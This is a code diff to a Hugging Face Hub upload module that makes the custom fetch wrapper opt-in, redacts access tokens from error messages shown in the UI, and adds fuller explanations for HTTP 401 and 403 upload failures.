* **HTTP fetch:** by default Hub uploads use Node’s global `fetch` only. Set **`CFGMGR_HF_HUB_CUSTOM_FETCH=1`**
|
|
59
|
+
* on the agent to enable our retry + S3 CRC32 wrappers (legacy workaround); leaving it **off** avoids
|
|
60
|
+
* HTTP **403** failures on current HF LFS presigned uploads for many deployments.
|
|
61
|
+
*
|
|
62
|
+
* Resilience (defaults on with custom fetch): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
|
|
59
63
|
* whole **commit** retries on transient Hub / wire errors (see `CFGMGR_HF_UPLOAD_RETRIES`). This improves
|
|
60
64
|
* success under blips; it cannot guarantee every upload (locks, auth, quotas, huge trees still fail).
|
|
61
65
|
*
|
|
@@ -133,6 +137,16 @@ function persistHubDisableXetToAgentEnv() {
|
|
|
133
137
|
process.env.CFGMGR_HF_USE_XET = "0";
|
|
134
138
|
}
|
|
135
139
|
const MEMORY_BLOB_UPLOAD_MAX = 80 * 1024 * 1024;
|
|
140
|
+
/** Hub error bodies may echo secrets — redact token-shaped substrings before showing in UI. */
|
|
141
|
+
function redactHubApiMessageForUi(raw, maxLen = 280) {
|
|
142
|
+
let s = String(raw || "")
|
|
143
|
+
.replace(/\bhf_[A-Za-z0-9_-]+\b/gi, "hf_[redacted]")
|
|
144
|
+
.replace(/\s+/g, " ")
|
|
145
|
+
.trim();
|
|
146
|
+
if (s.length > maxLen)
|
|
147
|
+
s = s.slice(0, maxLen).trimEnd() + "…";
|
|
148
|
+
return s;
|
|
149
|
+
}
|
|
136
150
|
async function memoryBlobFromLocalIfSmall(absPath) {
|
|
137
151
|
try {
|
|
138
152
|
const st = await fs.promises.stat(absPath);
|
|
@@ -168,8 +182,18 @@ function localDiskPathForUploadRetry(p) {
|
|
|
168
182
|
function formatHfUploadError(err) {
|
|
169
183
|
if (err instanceof hub_1.HubApiError) {
|
|
170
184
|
const c = err.statusCode;
|
|
171
|
-
|
|
172
|
-
|
|
185
|
+
const hubSays = redactHubApiMessageForUi(err.message || "");
|
|
186
|
+
const suffix = hubSays.length > 12 ? ` Hub details: ${hubSays}` : "";
|
|
187
|
+
if (c === 401) {
|
|
188
|
+
return ("Hugging Face rejected the token (HTTP 401). Regenerate an access token at " +
|
|
189
|
+
"https://huggingface.co/settings/tokens — classic tokens need **Write**, fine-grained tokens need **Repositories: write** " +
|
|
190
|
+
"for the target user/org. Encrypt it into RELAY_HF_CREDENTIALS_B64 (relay) or CFGMGR_HF_CREDENTIALS_B64 (agent) and restart." +
|
|
191
|
+
suffix);
|
|
192
|
+
}
|
|
193
|
+
if (c === 403) {
|
|
194
|
+
return ("Hugging Face denied writing this repo (HTTP 403). Common causes: token is **read-only**, fine-grained token lacks **write** on this repo/namespace, " +
|
|
195
|
+
"you are not an org **writer**, manual repo id is wrong, or the repo exists under another account. Session uploads use repo `<namespace>/<seq_id>` where **namespace** comes from your HF credentials JSON." +
|
|
196
|
+
suffix);
|
|
173
197
|
}
|
|
174
198
|
if (c === 404) {
|
|
175
199
|
return "Hugging Face repo not found. Check the repo id, namespace, or create the repo first.";
|
|
@@ -352,8 +376,18 @@ function computeCrc32(data) {
|
|
|
352
376
|
}
|
|
353
377
|
return (crc ^ 0xffffffff) >>> 0;
|
|
354
378
|
}
|
|
355
|
-
/**
|
|
379
|
+
/**
|
|
380
|
+
* Legacy Hub `fetch` injection (retries + min interval + S3 CRC32 header fix for older hub/S3 combos).
|
|
381
|
+
* Default **off** — enabling it can cause **HTTP 403** on LFS multipart uploads with current HF endpoints.
|
|
382
|
+
*/
|
|
383
|
+
function hubCustomFetchStackEnabled() {
|
|
384
|
+
const raw = (process.env.CFGMGR_HF_HUB_CUSTOM_FETCH || "").trim().toLowerCase();
|
|
385
|
+
return raw === "1" || raw === "true" || raw === "yes" || raw === "on";
|
|
386
|
+
}
|
|
387
|
+
/** Custom `fetch` for Hub when {@link hubCustomFetchStackEnabled}; otherwise native `fetch` only. */
|
|
356
388
|
function buildHubFetch() {
|
|
389
|
+
if (!hubCustomFetchStackEnabled())
|
|
390
|
+
return undefined;
|
|
357
391
|
const minMs = hubMinFetchIntervalMs();
|
|
358
392
|
const maxThrow = hubFetchMaxAttemptsOnThrow();
|
|
359
393
|
let inner = globalThis.fetch.bind(globalThis);
|